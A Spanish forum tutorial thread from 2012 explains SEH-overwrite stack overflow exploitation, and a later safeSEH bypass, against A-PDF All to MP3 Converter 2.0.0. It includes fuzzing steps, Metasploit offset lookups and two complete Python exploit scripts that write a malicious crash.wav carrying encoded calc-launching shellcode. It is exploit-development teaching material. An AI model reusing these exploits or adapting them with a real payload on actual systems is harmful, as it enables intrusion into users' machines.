Tutorial - Stack overflow bypassing SEH "Structured Exception Handler"

Iniciado por soez, 6 Marzo 2012, 14:37 PM

0 Miembros y 1 Visitante están viendo este tema.

soez

STACK OVERFLOW BYPASSING SEH
"STRUCTURED EXCEPTION HANDLER"




INTRODUCCIÓN
===========


En este caso vamos a ver como saltarnos la protección SEH.
Para seguir este tutorial necesitaremos:

-   Windbg: http://www.microsoft.com/whdc/devtools/debugging/default.mspx
-   Tener python instalado: http://www.python.org/download/
-   Metasploit: http://www.metasploit.com/download/
-   Cygwin: http://cygwin.com/install.html
-   A-PDF All to MP3 converter 2.0.0: http://www.exploit-db.com/application/16073/




EXPLICACIÓN
==========



Bueno a ver si me explico bien... Cuando programamos cualquier aplicación le podemos poner lo que son bloques de control de errores, los conocidos try {} catch() {}; si se cumple lo que hay dentro del try sigue el código después del catch, si hay un error salta a la excepción, o sea al catch y hace lo que haya dentro. Bien pues esto se nos aparece también en la pila, el controlador de excepciones. El propio sistema operativo tiene sus propios controladores de excepciones, ahora como es su funcionamiento en la pila, pues en cada marco de pila antes de llegar al ret hay un puntero al próximo marco de pila con su SEH handler y después de esta la dirección del propio SEH handler. Al final llega a una dirección tipo 0xFFFFFFFF que indica que es el ultimo SEH handler y allí se para. En su camino puede encontrarse con SEH handler del programa compilado y con SEH handler del sistema operativo.






Como explotar esto sin llegar a ningún controlador de excepción. Bueno la técnica es la siguiente. Como siempre llenar el buffer de basura, como no llegó al retorno valido saltara la excepción, el SE Handler (el siguiente), cuando llegamos al puntero lo sobrescribimos con un salto de 6 bytes hacia delante que se encontrará nuestra shellcode, después la siguiente dirección (el SEH handler actual, después de los 6 bytes) la reemplazamos por un pop pop ret que hará que quite dos direcciones y llegue al puntero del próximo SEH, o sea al salto de 6 bytes y de ahí a nuestra shellcode. Por qué ocurre esto? Porque cuando se encuentra un error el SEH crea un marco de pila nuevo con su código, o sea que apunta a un nuevo marco de pila, si hacemos un pop/pop/ret llegaremos al puntero del próximo SEH handler, en esp+8, que es nuestro salto de 6 bytes que nos mandará hacia la shellcode :)






Una vez entendido esto no os va a costar construir vuestros exploits.



MANOS A LA OBRA
=============




Vamos a poner a Windbg como just-time-in-debugger, vamos a su carpeta y ejecutamos windbg –I (como administrador).

C:\Program Files\Debugging Tools for Windows (x86)>windbg –I

Ahora vamos a fuzzear el programa, para esto ya tienes que tener el programa vulnerable instalado, en este caso A-PDF All to MP3 converter 2.0.0. Además de Metasploit. Arrancamos este último con msfconsole y utilizamos una de sus tools pattern_reate.rb (está en la carpeta tools).






Copiamos todos  los bytes y lo empleamos en un script de python con el siguiente código.


#!/usr/bin/env python
# Fuzz
#####################

import sys

fuzz = "Cadena de caracteres de pattern_create.rb"
f = open("crash.wav","wb")
f.write(fuzz)
f.close()
print ("[+] Hecho!!!")


Desde ms-dos lo invocamos y creamos el archivo

C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!


Abrimos ahora Alltomp3.exe, nos pide el registro, le damos a try y después a next, arrastramos el archivo crash.wav al programa y windbg salta.




Para ver donde ha desbordado excribmos el comando !exchain y aparece el patrón de búsqueda





Cogemos el patrón de búsqueda y nos vamos de nuevo a Metasploit para sacar los caracteres de basura.

msf > ruby pattern_offset.rb 68463768
[*] exec: ruby pattern_offset.rb 68463768

4132


Des esto concluimos que el exploit seria: basura + jmp 6 bytes + pop pop ret + shellcode




ARMANDO EXPLOIT
==============



Usaremos python para el exploit como en el fuzz, pero antes necesitamos sacar una dirección que use el programa que contenga un pop pop ret. Como lo sacamos? También con Metasploit, pero esta opción solo se puede usar desde Linux porque Windows no entiende el archivo, por eso tenemos que instalarnos Cygwin, ya sabes ;) Ahora nos vamos a la ruta donde esta msfpescan que está dentro de la carpeta msf3. Antes de buscar bueno os digo, lo mejor es buscar el offset en el propio ejecutable porque nos aseguramos de que funcionará y además será universal independientemente del sistema operativo. Resulta que tenia la anterior versión de Metasploit que trae una consola de Cygwin así que no me hizo falta instalarlo. Ahora si ejecutamos msfpescan -p ruta_del_exe:






Nos han salido solo 4 direcciones y además con caracteres nulos '00' (podría fallar el ataque), usamos la ultima y a ver que ocurre, la cogemos en el orden littel Indian "\x91\x6a\x5d\x00". Nos falta el salto de 6 bytes, esto se consigue con "\xeb\x06\x90\x90" eb para el opcode jmp y después los bytes que deseemos pero siempre en hexadecimal claro, seguido de dos nops. Ah falta lo más importante la shellcode, en este caso la ejecución de una calculadora. El exploit quedaría así.


#!/usr/bin/env python
# PoC
#####################

import sys

basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x91\x6a\x5d\x00"
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
          "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
                  "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
          "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
          "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
                  "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
          "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
          "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
          "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
          "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
                  "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
                  "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
          "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
          "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
          "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
          "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
            "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
          "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
          "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
          "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
          "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
          "\x4e\x36\x43\x46\x42\x50\x5a")
exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()


Desde ms-dos lo invocamos y creamos el archivo

C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!


Volvemos a abrir crash.wav con Alltomp3.exe y voilá :)






BIBLIOGRAFIA
==========


http://www.corelan.be:8800  <-- Recomendada (inglés)
http://www.exploit-db.com <--  Para practicar con más programas

Este manual se lo dedico a mi compa messerschmitt.


soez


Descarga en pdf:
https://mega.co.nz/#!Y54FQbwQ!XhbdH4Hge6OIJ2pZC52kjuLXMEuIITfTslYtdbKIZUs
01001010 01100001 01110110 01101001 01100101 01110010

x64core

Gracias amigo por compartir estos tutoriales son de mucha ayuda para aprender :)

wirelesswifi

Buen tutorial soez, el archivo crash.wav seria el exploit vulnerable a alltomp3.exe?

Luego sigo los pasos.

Saludos!

soez

01001010 01100001 01110110 01101001 01100101 01110010

soez

AMPLIACIÓN - BYPASSING safeSEH



safeSEH se implementó para evitar el abuso de la explotación de SEH, en que consiste? Bueno pues la cadena de direcciones SEH handler son verificadas hasta llegar al final a la dirección 0xFFFFFFFF si una de ellas ha cambiado el programa termina sin haber hecho saltar al controlador de excepción, siendo asi la direccion pop pop ret no seria efectiva. Como solucionamos esto, haciendo saltos validos que hagan que caiga de nuevo en el puntero al proximo SEH handler y esta apuntar a nuestra shellcode. Los saltos validos son de tipo:

Citar
esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18

Lo que vamos a hacer es encontrar un opcode que salte a ebp+0x30 . Arrancamos Windbg y vamos a File -> Open Executable y escribimos el comando:


opcodes ff 55 30 = call dword ptr [ebp+0x30] y opcodes ff 65 30 = jmp dword ptr [ebp+0x30]
Entonces:
0:000> s 0100000 l 77fffff ff 55 30




Nos devuelve el offset 0x00990a23 que en el orden little Indian es "\x23\x0a\x99\x00". Ahora necesitaremos un salto que salte 6 bytes "\xeb\x06\x90\x90" (podria saltar 7 bytes hacia atras y ahi hacer un gran salto a nuestra shellcode hacia atrás). Entonces pikamos el codigo del exploit que quedaria asi.


#!/usr/bin/env python
# PoC
######################

import sys

basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x23\x0a\x99\x00"
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x46\x42\x50\x5a")

exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()
print ("[+] Hecho!!!")


Lo invocamos desde ms-dos creamos el archivo, lo abrimos con el programa y voilá





Hasta la proxima ;)
01001010 01100001 01110110 01101001 01100101 01110010